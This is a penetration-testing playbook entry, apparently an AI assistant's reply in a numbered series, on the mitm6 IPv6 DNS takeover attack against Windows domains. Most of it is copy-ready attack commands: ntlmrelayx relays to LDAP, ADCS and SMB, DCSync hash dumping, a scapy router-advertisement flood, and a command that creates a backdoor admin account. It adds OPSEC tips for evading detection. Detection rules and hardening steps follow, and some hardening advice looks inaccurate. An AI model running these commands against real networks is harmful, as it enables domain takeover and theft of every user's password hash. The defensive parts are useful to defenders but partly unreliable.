🔴 Attack #9 — mitm6 (IPv6 DNS Spoofing / DHCPv6 Takeover)

📖 How It Works

mitm6 exploits a fundamental default behaviour of Windows: even in networks that have never deployed IPv6, every Windows machine continuously sends DHCPv6 Solicit messages at boot, on network reconnect, and periodically during operation, asking if there is an IPv6 DHCP server available. Since most enterprise networks have no legitimate DHCPv6 server, these broadcasts go unanswered — and that silence is the attack surface.

The attacker runs mitm6, which responds to every DHCPv6 Solicit with a rogue DHCPv6 Reply, assigning the victim a link-local IPv6 address and — most critically — designating the attacker’s machine as the victim’s primary DNS server. Because Windows prefers IPv6 over IPv4 for DNS resolution, all subsequent DNS queries flow to the attacker. mitm6 then responds to specific queries (particularly WPAD) with its own IP, forcing the victim to initiate NTLM authentication to the attacker. ntlmrelayx relays that authentication to LDAP on the DC, and in the best case — an admin logging in — it automatically creates a new Domain Admin account or adds DCSync rights within seconds.

A study of default-configuration Windows systems found that 95% are vulnerable to credential harvesting via this IPv6 DNS manipulation.

⚠️ Windows 11 / Server 2025: DHCPv6 remains enabled by default on all recent Windows versions. The mitigation is not automatic — administrators must explicitly disable it via GPO. IPv6 is deeply embedded in modern Windows kernels and disabling it is more difficult than in earlier versions.

Why mitm6 Beats LLMNR Poisoning in Hardened Environments

The Full Attack Flow

1. Attacker runs mitm6 on the internal network
2. Windows machines send periodic DHCPv6 Solicit broadcasts (boot/reconnect)
3. mitm6 responds with rogue DHCPv6 Reply:
   - Assigns victim a link-local IPv6 address
   - Sets ATTACKER as victim's primary IPv6 DNS server
4. Victim's Windows now sends ALL DNS queries to attacker
5. mitm6 answers WPAD queries with attacker's IP → victim fetches fake PAC file
6. WPAD PAC fetch triggers NTLM authentication to attacker (NTLMv2 hash sent)
7. ntlmrelayx relays NTLM auth to LDAP/LDAPS on the DC
8. ntlmrelayx escalates:
   - Creates new user in Domain Admins / Enterprise Admins group (if DA relayed)
   - Adds DCSync rights to attacker-controlled account (if high-priv user relayed)
   - Adds attacker-controlled machine account (if regular user relayed)
9. Full domain compromise achieved — no initial credentials required

⚙️ Prerequisites

🛠️ Tools

💻 Full Commands

🔵 Step 0 — Verify IPv6 is Active on the Network

# ── Passive capture — verify DHCPv6 Solicit broadcasts ───────────────────────
sudo tcpdump -i eth0 udp port 546 or udp port 547 -v
# You should see DHCPv6 Solicit messages from Windows machines
# If you see nothing, IPv6 may be disabled on the subnet

# ── Wireshark filter ──────────────────────────────────────────────────────────
# Filter: dhcpv6 or icmpv6

# ── Nmap — enumerate IPv6-enabled hosts ──────────────────────────────────────
nmap -6 -sn fe80::/64
nmap -6 --script=ipv6-multicast-mld-list -p 0 <target>

# ── Check if WPAD is resolvable (pre-attack reconnaissance) ──────────────────
nslookup wpad
# If "Non-existent domain" → mitm6 will intercept the WPAD query

🔴 mitm6 — Core Tool Setup

# ── Install mitm6 ─────────────────────────────────────────────────────────────
pip3 install mitm6
# or
git clone https://github.com/dirkjanm/mitm6
cd mitm6 && pip3 install .

# ── Basic run — target a specific domain ─────────────────────────────────────
sudo mitm6 -d corp.local

# ── Recommended run — target domain, suppress router advertisements ───────────
sudo mitm6 -d corp.local --no-ra
# --no-ra = don't send Router Advertisements (reduces noise, more targeted)

# ── Specify network interface explicitly ─────────────────────────────────────
sudo mitm6 -i eth0 -d corp.local --no-ra

# ── Target a specific subnet only ─────────────────────────────────────────────
sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn --no-ra

# ── Verbose output (see each DHCPv6 response sent) ───────────────────────────
sudo mitm6 -d corp.local --no-ra -v

# ── What you'll see in output:
# [*] Sent spoofed reply to fe80::xxxx for WPAD.corp.local
# [*] Sent spoofed reply to fe80::xxxx for corp.local
# This means victims are now routing DNS through you

🔴 ntlmrelayx Setup — LDAP Relay for DA Account Creation

# ── STEP 1: Prepare relay to LDAP (primary escalation method) ─────────────────

# Relay to LDAP — auto-create new user in Domain Admins (if DA logs in)
ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \
  -smb2support -l loot/

# ── Flags explained:
# -6           = enable IPv6 support (critical for mitm6 relay)
# -t ldap://   = relay target (DC LDAP)
# -wh          = WPAD hostname to respond to (attacker-wpad = your machine's name)
# -smb2support = support SMBv2 on the relay listener
# -l loot/     = dump LDAP info to this directory

# ── Relay to LDAPS (if LDAP signing enforced) ─────────────────────────────────
ntlmrelayx.py -6 -t ldaps://DC01.corp.local -wh attacker-wpad \
  -smb2support -l loot/

# ── STEP 2: Run mitm6 in a separate terminal ──────────────────────────────────
sudo mitm6 -d corp.local --no-ra

# ── STEP 3: Wait for a privileged user to log in or machine to reboot ─────────
# ntlmrelayx output when DA is relayed:
# [*] HTTPD(80): Connection from 10.10.10.50 controlled, attacking target ldap://DC01.corp.local
# [*] Authenticating against ldap://DC01.corp.local as CORP\Administrator
# [*] Adding new user with username: QMFbhMXG and password: XYZ to domain
# [*] Privilege Escalation Done! QMFbhMXG is in the Administrators group!

echo "Domain Admin account created — game over"

🔴 Full Attack Chain — mitm6 → LDAP Relay → DCSync

# ── Terminal 1: Start mitm6 ───────────────────────────────────────────────────
sudo mitm6 -d corp.local --no-ra -i eth0

# ── Terminal 2: Start ntlmrelayx with LDAP target + loot dump ────────────────
ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \
  -smb2support -l loot/ --no-da --no-acl

# Wait for a domain user to authenticate...

# ── Terminal 3 (after successful relay): Check loot directory ────────────────
ls loot/
# Contains: domain_computers.html, domain_users.html, domain_groups.html etc.
cat loot/domain_users.html

# ── If a Domain Admin was relayed — new account auto-created ─────────────────
# ntlmrelayx creates: random username + random password
# Check ntlmrelayx output for the credentials

# ── DCSync using the newly created DA account ─────────────────────────────────
secretsdump.py corp.local/QMFbhMXG:'CreatedPassword'@DC01.corp.local

# ── OR add DCSync rights to your own pre-created account ─────────────────────
ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \
  -smb2support --escalate-user low_user

# After escalation:
secretsdump.py corp.local/low_user:'KnownPassword'@DC01.corp.local -just-dc-ntlm

🔴 mitm6 → ADCS Relay (Most Destructive Chain)

# ── If LDAP signing/channel binding blocks LDAP relay, target ADCS instead ───

# Terminal 1: mitm6
sudo mitm6 -d corp.local --no-ra

# Terminal 2: ntlmrelayx to ADCS HTTP enrollment endpoint
ntlmrelayx.py -6 -t http://ADCS01.corp.local/certsrv/certfnsh.asp \
  -wh attacker-wpad -smb2support --adcs --template "DomainController"

# When DC machine account authenticates (via coercion or reboot):
# ntlmrelayx requests a DomainController template certificate for DC01$
# Output: [*] Got certificate! Saved as DC01$.pfx

# Request TGT using the DC machine certificate (PKINIT)
.\Rubeus.exe asktgt /user:DC01$ /certificate:DC01$.pfx /password:'' /ptt /nowrap

# DCSync using DC machine account TGT
secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc-ntlm

# Result: Full domain hash dump — total compromise

🔴 mitm6 → SMB Relay (Alternative When LDAP Is Locked Down)

# Terminal 1: mitm6
sudo mitm6 -d corp.local --no-ra

# Terminal 2: ntlmrelayx to SMB targets (SMB signing must be disabled on target)
nxc smb 10.10.10.0/24 --gen-relay-list smb_targets.txt
ntlmrelayx.py -6 -tf smb_targets.txt -wh attacker-wpad \
  -smb2support -i

# When relay succeeds to SMB target:
nc 127.0.0.1 11000   # Interactive SMB shell as relayed user

# Execute commands on relayed target
ntlmrelayx.py -6 -tf smb_targets.txt -wh attacker-wpad \
  -smb2support -c "net user hacker P@ssword123! /add && net localgroup administrators hacker /add"

🔴 Advanced: krbrelayx Integration — Kerberos Relay via mitm6

# ── CVE-2026-20929: Relay Kerberos tickets instead of NTLM ─────────────────
# This bypasses some defences designed for NTLM-only relay

# Terminal 1: mitm6
sudo mitm6 -d corp.local --no-ra

# Terminal 2: krbrelayx — accepts Kerberos from mitm6 victims
python3 krbrelayx.py -ts DC01.corp.local

# Terminal 3: On DC, check for new account creation (same as LDAP relay)
# krbrelayx will auto-escalate if a machine account with sufficient privileges relays

# This is more stealthy than NTLM relay in modern defences

🔴 RA Flooding — Alternative When DHCPv6 Relay Fails

# ── If DHCPv6 isn't triggering, use Router Advertisement flooding ────────────

# Terminal 1: RA flood (forces IPv6 priority without DHCP)
sudo python3 -m pip install scapy
python3 - <<'EOF'
from scapy.all import *
from scapy.layers.inet6 import *

iface = "eth0"
target_prefix = "2001:db8::/64"  # Your target IPv6 prefix

def flood_ra():
    pkt = Ether()/IPv6(src="fe80::1", dst="ff02::1")/ICMPv6ND_RA()/ICMPv6NDOptPrefixInfo(prefix=target_prefix)
    while True:
        sendp(pkt, iface=iface, interval=1, verbose=0)

flood_ra()
EOF

# This forces all victims to prefer IPv6 — DNS then flows to your mitm6

🔴 Delegate Access — Targeted Domain Escalation via Relay

# ── Instead of creating new user, grant specific rights to existing user ─────

# ntlmrelayx with --escalate-user (adds DCSync rights)
ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \
  -smb2support --escalate-user "corp\low_priv_user"

# ntlmrelayx with --add-computer (add computer account)
ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \
  -smb2support --add-computer attacker-owned

# ntlmrelayx with --no-acl (just dump LDAP, don't modify)
ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \
  -smb2support --no-acl

# Specific escalation after relay — read the LDAP dump first, then decide
secretsdump.py -hashes :HASH corp.local/elevated_user@DC01.corp.local -just-dc-ntlm

🔴 Monitoring — Verify mitm6 is Working

# ── Check which victims have been assigned rogue DNS ─────────────────────────
sudo tcpdump -i eth0 udp port 547 -v | grep -i "solicit\|advertise\|reply"

# ── Watch for WPAD requests hitting your machine ──────────────────────────────
sudo tcpdump -i eth0 port 80 -v | grep -i "wpad"

# ── Monitor ntlmrelayx for successful relays ──────────────────────────────────
# Watch for lines containing:
# "HTTPD: Received connection from..."
# "Authenticating against ldap://..."
# "Adding new user..."
# "Privilege Escalation Done!"

🧩 Troubleshooting

🎯 OPSEC Tips

• Always use --no-ra — Router Advertisement messages are noisy and can disrupt network routing for all victims, which causes immediate IT investigation
• Scope to your target domain with -d corp.local — without this, mitm6 answers ALL DNS queries including internet traffic, causing visible disruption
• Run during high-activity windows — morning logon storms (8–9am), after patching cycles, or when large numbers of machines reboot give you maximum relay opportunities
• Target LDAP over SMB when possible — LDAP relay creates persistent domain objects (new admin users, DCSync rights) rather than temporary shell access
• Use --no-da --no-acl flags in ntlmrelayx initially — dump LDAP info first to understand the domain before making noisy modifications
• mitm6 causes minor IPv6 disruption — some machines may experience temporary DNS resolution issues; keep attack windows short (15–30 minutes)
• Combine with Responder on different protocols — run mitm6 for DHCPv6/DNS and Responder in analyse mode simultaneously to map the full authentication landscape
• Time-to-execute estimate: mitm6 setup (5 min) + waiting for trigger event (5–30 min depending on logon activity) = 10–35 minutes to domain compromise
• Tool versions: Use latest Impacket for ntlmrelayx (GitHub main branch preferred over pip); mitm6 1.0+ recommended; test in lab first for version compatibility

🛡️ Detection — Event IDs / Network Indicators

Primary detection signature: A DHCPv6 Reply or Advertisement packet from a host that is not the legitimate DHCP server is an immediate indicator of mitm6 in operation. Network-level detection via Zeek scripts or Suricata rules monitoring DHCPv6 traffic is the most reliable defence. On the Windows side, a new Domain Admin account created without a corresponding ITSM ticket is a high-confidence alert.

Sigma Rules for Detection

Rule: Rogue DHCPv6 Server Detection

title: DHCPv6 Advertise from Non-DHCP Host
detection:
  selection:
    NetworkProtocol: DHCPv6
    DHCPv6MessageType: Advertise
    SourceIP: '!10.10.10.10'  # Exclude legitimate DHCP server
  condition: selection

Rule: Suspicious LDAP Modifications via Relay

title: Bulk LDAP Group Modification (Possible Relay)
detection:
  selection:
    EventID: 5136
    ObjectClass: group
    AttributeLDAPDisplayName: member
    ValueAdded: '*'
  condition: selection | count(ObjectDN) > 5 and timespan(5m)

EDR-Specific Detections

• Crowdstrike Falcon: Monitor for IPv6 DNS server changes + NTLM relay auth in short time window
• Defender for Endpoint: Alert on new user creation by system processes; flag DHCPv6 server role changes
• Sentinel One: Watch for network discovery commands (ipconfig /all, Get-NetIPConfiguration) followed by WPAD lookups
• Carbon Black: Correlate ntlmrelayx.py process creation with ldap:// network connections to DC

Hardening Commands

# ── Disable DHCPv6 client via Group Policy ─────────────────────────────────
Computer Configuration → Administrative Templates →
  Network → TCPIP Settings → IPv6 Transition Technologies
    Set "6to4 State" = Disabled
    Set "ISATAP State" = Disabled

# ── Registry-based mitigation (local machine) ────────────────────────────────
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" /v DisabledComponents /t REG_DWORD /d 0xFF /f
# 0xFF disables all IPv6 completely (aggressive but effective)
# 0x01 disables IPv6 on all non-tunnel interfaces (balanced)

# ── Windows Firewall — Block DHCPv6 inbound ───────────────────────────────────
powershell -NoProfile -Command "Get-NetFirewallRule -DisplayName '*DHCPv6*' | Set-NetFirewallRule -Enabled False"

# ── IPv6 priority adjustment (reduces DHCPv6 preference) ────────────────────
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" /v IpUseDhcpNameServer /t REG_DWORD /d 0 /f

# ── RA Guard (prevents rogue router advertisements) ───────────────────────────
# On edge firewall/router:
# Cisco: ipv6 nd raguard attach-policy {policy-name}
# Juniper: forwarding-options family inet6 router-discovery {ra-guard}

# ── Enforce LDAP signing + channel binding on DC ────────────────────────────
dsregcmd /status  # Check current settings
# Set via GPO: Computer Config → Policies → Windows Settings → Security Settings →
#   Local Policies → Security Options:
#   "Domain member: Require strong (Windows 2000 or later) session key"
#   "LDAP client signing requirements" = Require Signing

🗺️ MITRE ATT&CK

🔗 Attack Chain Context

[mitm6 DHCPv6 Poisoning] ──→ Rogue DNS Server for All Subnet Victims
         │
         ├──→ WPAD NTLM Auth → ntlmrelayx LDAP → New DA Account → DCSync
         ├──→ WPAD NTLM Auth → ntlmrelayx LDAPS → Shadow Credentials → TGT
         ├──→ WPAD NTLM Auth → ntlmrelayx ADCS → DC Cert → TGT → DCSync
         ├──→ WPAD NTLM Auth → ntlmrelayx SMB → Shell + LSASS dump → PtH
         ├──→ DNS hijack → redirect all traffic → full MitM for credential harvest
         └──→ Wait for DA to log in → instant Enterprise Admin creation → game over

The scenario that ends engagements in minutes: mitm6 is running. An administrator logs into any domain-joined workstation on the subnet — even just to check something. Their machine sends a DHCPv6 Solicit. mitm6 responds. WPAD queries flow to the attacker. NTLM authentication arrives at ntlmrelayx. ntlmrelayx relays to DC LDAP. A new account is created in Domain Admins. DCSync is run. Every domain password hash is exfiltrated. Total time: under 3 minutes.

Cross-references:

• Attack #10: Credential Hunting in Shares / GPP Passwords (alternative initial access without relay)
• Attack #72: LAPS Deprecation & Takeover (modern mitigation mechanism, but requires proper deployment)

✅ Attack #9 — mitm6 complete. Tell me to move on when you’re ready for Attack #10 — Credential Hunting in Shares / GPP Passwords.

Sources MITM6 + NTLM Relay: How IPv6 Auto-Configuration Leads to Full … https://www.resecurity.com/blog/article/mitm6-ntlm-relay-how-ipv6-auto-configuration-leads-to-full-domain-compromise IPv6 Attacks - README - Preperation | OSCP https://oscp.adot8.com/active-directory/initial-attack-strategy/ipv6-attacks MITM6 IPv6 Attack | Pentesting Checklist - GitBook https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/initial-attack-vectors/mitm6-ipv6-attack [PDF] Exploiting Ipv6 DNS Behavior in Windows 11 Networks - IJFMR https://www.ijfmr.com/papers/2025/6/58968.pdf IPv6 - Man in the Middle | We explain attack and defense - ProSec https://www.prosec-networks.com/en/blog/ipv6-mitm/ IPv6 DNS Takeover with MitM6: Strategies for Network Security https://www.evolvesecurity.com/blog-posts/tools-of-the-trade-ipv6-dns-takeover-with-mitm6 IPv6 Attacks - Infosec Notes https://notes.frozensoliddesigns.com/exploitation/active-directory/ipv6-attacks Fragmentation Considered Poisonous https://arxiv.org/pdf/1205.4011.pdf Security of Patched DNS http://arxiv.org/pdf/1205.5190.pdf The Impact of DNS Insecurity on Time https://arxiv.org/pdf/2010.09338.pdf Hybrid Detection and Mitigation of DNS Protocol MITM attack based on Firefly algorithm with Elliptical Curve Cryptography https://publications.eai.eu/index.php/phat/article/download/3177/2319 Injection Attacks Reloaded: Tunnelling Malicious Payloads over DNS https://arxiv.org/pdf/2205.05439.pdf Encrypted and Covert DNS Queries for Botnets: Challenges and Countermeasures http://arxiv.org/pdf/1909.07099.pdf HADES: Detecting Active Directory Attacks via Whole Network Provenance Analytics http://arxiv.org/pdf/2407.18858.pdf A Survey on Malicious Domains Detection through DNS Data Analysis https://arxiv.org/pdf/1805.08426.pdf IPv6 Attack with MITM6 & NTLMRELAYX - YouTube https://www.youtube.com/watch?v=AmcWc2CjXx8 How to prevent IPv6 DNS Takeover with mitm6 - LinkedIn https://www.linkedin.com/posts/abdussatter51_ipv6-dns-take-over-on-active-directory-activity-7319677013928067072-PP3o Relaying Kerberos with MiTM6 - CVE-2026-20929 - YouTube https://www.youtube.com/watch?v=RGoSvD-P_FU Hacks Weekly #61 - Man in the middle with MITM6 and NTLMRelay https://www.youtube.com/watch?v=qb0l5cPz0nw Domain Admin via IPv6 DNS Takeover : r/HowToHack - Reddit https://www.reddit.com/r/HowToHack/comments/e8n67r/domain_admin_via_ipv6_dns_takeover/ Six Minutes for MiTM6 - YouTube https://www.youtube.com/watch?v=qrFxDNotgO8 Network Relaying and NTLM Relay Attacks in Windows Domains https://www.lrqa.com/en/cyber-labs/network-relaying-abuse-windows-domain/ caster0x00/Intercept: MITM Field Manual - GitHub https://github.com/caster0x00/MITMonster